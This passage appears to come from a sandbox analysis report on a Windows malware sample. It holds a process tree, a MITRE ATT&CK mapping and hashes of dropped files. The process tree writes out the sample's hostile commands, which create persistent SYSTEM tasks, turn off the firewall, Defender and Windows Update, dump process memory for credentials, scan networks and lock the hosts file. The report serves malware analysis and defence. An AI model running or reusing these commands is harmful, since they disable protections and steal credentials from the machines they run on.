    schtasks /create /sc minute /mo 1 /tn "pazzgwtck" /ru system /tr "cmd /c C:\Windows\ime\euiugba.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:632
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uzmeguupv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F"
  2⤵
  PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "uzmeguupv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ruzpterzk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ruzpterzk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3984
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2904
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1564
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4216
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3904
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2928
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3600
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3448
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2788
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1000
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4640
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4792
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3856
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:2384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:5104
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4380
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4736
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:5044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:4904
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:3156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:2324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4964
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:2396
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:1532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2260
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3416
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3996
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4504
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:748
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1236
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 784 C:\Windows\TEMP\thgpqiiyn\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 336 C:\Windows\TEMP\thgpqiiyn\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3764
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 1388 C:\Windows\TEMP\thgpqiiyn\1388.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2528 C:\Windows\TEMP\thgpqiiyn\2528.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2876 C:\Windows\TEMP\thgpqiiyn\2876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2972 C:\Windows\TEMP\thgpqiiyn\2972.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:64
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2964 C:\Windows\TEMP\thgpqiiyn\2964.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3768 C:\Windows\TEMP\thgpqiiyn\3768.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3924 C:\Windows\TEMP\thgpqiiyn\3924.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3932
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3988 C:\Windows\TEMP\thgpqiiyn\3988.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 4068 C:\Windows\TEMP\thgpqiiyn\4068.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 1244 C:\Windows\TEMP\thgpqiiyn\1244.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:736
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3140 C:\Windows\TEMP\thgpqiiyn\3140.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1428
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2628 C:\Windows\TEMP\thgpqiiyn\2628.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 4888 C:\Windows\TEMP\thgpqiiyn\4888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 1472 C:\Windows\TEMP\thgpqiiyn\1472.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:812
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 4240 C:\Windows\TEMP\thgpqiiyn\4240.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2112 C:\Windows\TEMP\thgpqiiyn\2112.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\thgpqiiyn\zymuetvrm\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2632
- - C:\Windows\thgpqiiyn\zymuetvrm\eguiemhzp.exe
    eguiemhzp.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2524
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3580
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:812

C:\Windows\SysWOW64\cuwoqc.exe
C:\Windows\SysWOW64\cuwoqc.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4580

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
1⤵
PID:1000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3520
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
  2⤵
  PID:4012

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\euiugba.exe
1⤵
PID:2656
- C:\Windows\ime\euiugba.exe
  C:\Windows\ime\euiugba.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2476

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
1⤵
PID:2160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1928
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
  2⤵
  PID:3196

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\euiugba.exe
1⤵
PID:1824
- C:\Windows\ime\euiugba.exe
  C:\Windows\ime\euiugba.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:808

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
1⤵
PID:3832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:640
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
  2⤵
  PID:948

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
1⤵
PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2672
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
  2⤵
  PID:3904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\thgpqiiyn\1244.dmp

Filesize
25.8MB

MD5
229cc80fc049c5b647d3179bae92746a

SHA1
a0c88c94ede6fb8626f946ed5de1c7e662f13360

SHA256
fcc90939dc8638fcbe76e60a6f9c69f0059dd76121497a0d0189c5169884532e

SHA512
d19bffc567cc0588572695ad8725e7032e4ffcd3ec4789d5aa31d995ab13da2329b1f59406eddfa08693b3a3646c4b8928408800e116264deed5b6db7d071c69

Download Submit
C:\Windows\TEMP\thgpqiiyn\1388.dmp

Filesize
4.1MB

MD5
d264fd5014705cb6ade4f8352b1f6b17

SHA1
15a293f2b2ec6846a3c3bccffeef4bd13b943823

SHA256
02a3e8e55688b7954bd2bac092a209916127d73091b4d4fb9add9e8da02f783c

SHA512
a704690bd23790eedcd18eca8b04813a9490536e9eb662a4d5a693df79928de68bedac74ab73650790645fe1f4391cd923dee78ce566fa52431f5688b8cb23ea

Download Submit
C:\Windows\TEMP\thgpqiiyn\2528.dmp

Filesize
7.5MB

MD5
993c84b3be938d099375bd05f0fbf506

SHA1
fbeebb21d1c1641a68381f14066427f666d1e76f

SHA256
71d2378a6f43da50315f3f374406a74ff24694ade39cdcfb84cfcbaf06aa9918

SHA512
ade4cd7cda82f5fd4f90c631fa361809e32a70dda518057826d5817830d8b9f7f78d0cae57005363d7c44e19bf90d8f94011e06eca86f1950cee52e21e3587e3

Download Submit
C:\Windows\TEMP\thgpqiiyn\2628.dmp

Filesize
8.6MB

MD5
441e784dcad5b4d31ef87ce0c178c520

SHA1
6d5e50cc924c6f280f87ccc28ad1f26b3178a30b

SHA256
97313cb34ac3a3dc7cca5462fad5f0f48290ac963eccb82027ba32461be28844

SHA512
d5a49bfec20fc93e9dbed5f34542a266ccfcf5543ddadadb095c4f8ef0f6b2b8e067bbf056f27db0df24b64a2628b42cbc3c426819f6b761a376ff5b8f1d5151

Download Submit
C:\Windows\TEMP\thgpqiiyn\2876.dmp

Filesize
3.9MB

MD5
a1854865149c1eb0936859c10fd54590

SHA1
6e248532c9ce92f284eb00d54adfa79ebd495b4f

SHA256
77a7f94cc43f63d915fc43e25b2c327fe276ccc6e2dc39e9f5c4ad1c2881e13a

SHA512
0ca66757f3b7495627207098c78ee222da46e2b4a3b19cf3f9e5c520521782d5898f95d5dba0516d1d77389a43f41339c442552cf5d1f830d0f50f14d16cce58

Download Submit
C:\Windows\TEMP\thgpqiiyn\2964.dmp

Filesize
822KB

MD5
8017948a99ea3a36eb8aaca8694c9ce8

SHA1
745cd3ef7805a5eeb198ad60ff24e80d4e718ac0

SHA256
6f1d7f8a9eb7861f3f45415d77b41c84d900220aaaa91abea7abca1131a75c55

SHA512
8d906ed4a3afca87f7cddcabe836faaf8844c54c5fc384ed6ea873b1a7916494a43a08b0ddb00fad0488d02982d4867891396797804c249de23b4954cf83d11b

Download Submit
C:\Windows\TEMP\thgpqiiyn\2972.dmp

Filesize
2.9MB

MD5
4135a8ec1a0e45359106a51bfd2fa2a9

SHA1
79593db49accf13f3f5b0a2ba2221b601f126759

SHA256
1619c5ca94dc2ef4b47a33763c227fafab6cf7fc41a990151528f2016c8cddc3

SHA512
61f6f74f41a14cd7cd8685dfaf80ffcf6eca23c3db62a19cb28c3a9c130b95142e35e76ceaebcfa3475f9a36dc1b13d72e008e42dd19f315f3545ac482f5f169

Download Submit
C:\Windows\TEMP\thgpqiiyn\3140.dmp

Filesize
1.2MB

MD5
fe9c6af7eee6082dbc56fa61c4a20fe0

SHA1
0704aba346fcfcc3ab65f3e00172716a1f91a9bf

SHA256
f69ad6eb648ab0f25d60586ada56fa0b3d097d1ef315f35d5a4a4556449ab80d

SHA512
258ec7b578594c481b3a93d70862e105b8499adbb82288abe0a8bcac060279694ab14cebe196234f1f508f5b005ed1e77e86fa3c75f195f6b486a5cc5ea0c387

Download Submit
C:\Windows\TEMP\thgpqiiyn\336.dmp

Filesize
33.6MB

MD5
03c07f51cb0f98ccb0d52d4461f11985

SHA1
5be263b9ccda9a6ed3771a25611c48b706d60e94

SHA256
66fa567a620447840d03ca5ff77a557a14fa9996657ce1ab7bc9d8178c9030ce

SHA512
eb72a42d69cfe4ba750454300592f71269d8af2097a0bb2169db8a6e7b7ae6c105c1ae901ec3782a758a3a8cadbabab1378a0d6886c1eb46678233fc4ab12c96

Download Submit
C:\Windows\TEMP\thgpqiiyn\3768.dmp

Filesize
2.8MB

MD5
2fbd1891179608448128243c5f0a2ed6

SHA1
cf350bf9243e159685954e4ad736ea0a5e70a25e

SHA256
653f545ba5ee157dc3460c8b8af47a6328df7b9a11b6205b544e8a628667a367

SHA512
2c2dcb931839da9b9686b71278227dac948823283fcb5f8c121d641f91c5e424d394214abcf3f61ecd3b416338799b6c8bd1c98e5d99d50e409a569750e107c2

Download Submit
C:\Windows\TEMP\thgpqiiyn\3924.dmp

Filesize
21.2MB

MD5
2bf0484eb705ab1b874e5185ccbba12d

SHA1
591236f8ff0ce4464491298f3fa753b12c30c3c8

SHA256
04dca0e2e37b06ded359995cfffd590998372de1e885a2c885af584c25324298

SHA512
ae267ec04507c6b2e40928a77d12d1017242448808fa0a94d0712a5a7d33f79731c34f806dec98d1aed8a8e50ec45c2894165f2514018f0b062917cec364285f

Download Submit
C:\Windows\TEMP\thgpqiiyn\3988.dmp

Filesize
4.6MB

MD5
11f6a6434edd687874eb4d90ec456444

SHA1
0b979f8c3ba7cfb4509f65043c3bbb1b2e67e54b

SHA256
865c5a39aaf8717b2f01482eee9dbc4b22f3786ae62743bd6b5c84691f3ade59

SHA512
1aabb09c10b7a8a45941c1d5d50d5ff3b572181fd71ecd973f703ca6e127fd9f6fa267060b57d93b7be7072131aa1be91b6bf8aaf4256a19c2b4248ee77c8355

Download Submit
C:\Windows\TEMP\thgpqiiyn\4068.dmp

Filesize
44.1MB

MD5
b7df9839599c11807ef858f3a100dbcf

SHA1
50bcc5bf02f1b38ba64029dbb935a363194dfb45

SHA256
0de33d0208d2c6bad71f0e73ca632f9a3ce9a2592a2d741f50af6a33c4a822b1

SHA512
0f56ce16d5901a296491433fba1d9adbfa07a88cb3d50be1e905d694e8650e66f1c9285cebe1527f17979f89778e306c8613d05648e0004fce61d1be010f2f70

Download Submit
C:\Windows\TEMP\thgpqiiyn\784.dmp

Filesize
1019KB

MD5
3cab3022bfeb163025989b089f271cb2

SHA1
a007850dea79919dd77be35ff72209012ed0bcc9

SHA256
7956c0e97d8e6cbad53f0545242965b24681fdd09f5c6435e83cf766140d1eaa

SHA512
6c5d8a7acdad456b68835c934e67abe4eb9bd89adde309ee7d5bb380abdcc5f1bd7f555d5b97c21800351b87f1a52bd6b8e5a8a0739a3c464b57ab9e0b5e90d1

Download Submit
C:\Windows\TEMP\tzgyhthhu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\nsf45A1.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsf45A1.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\thgpqiiyn\wewhpbpmh.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\tzgyhthhu\pctkcm.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
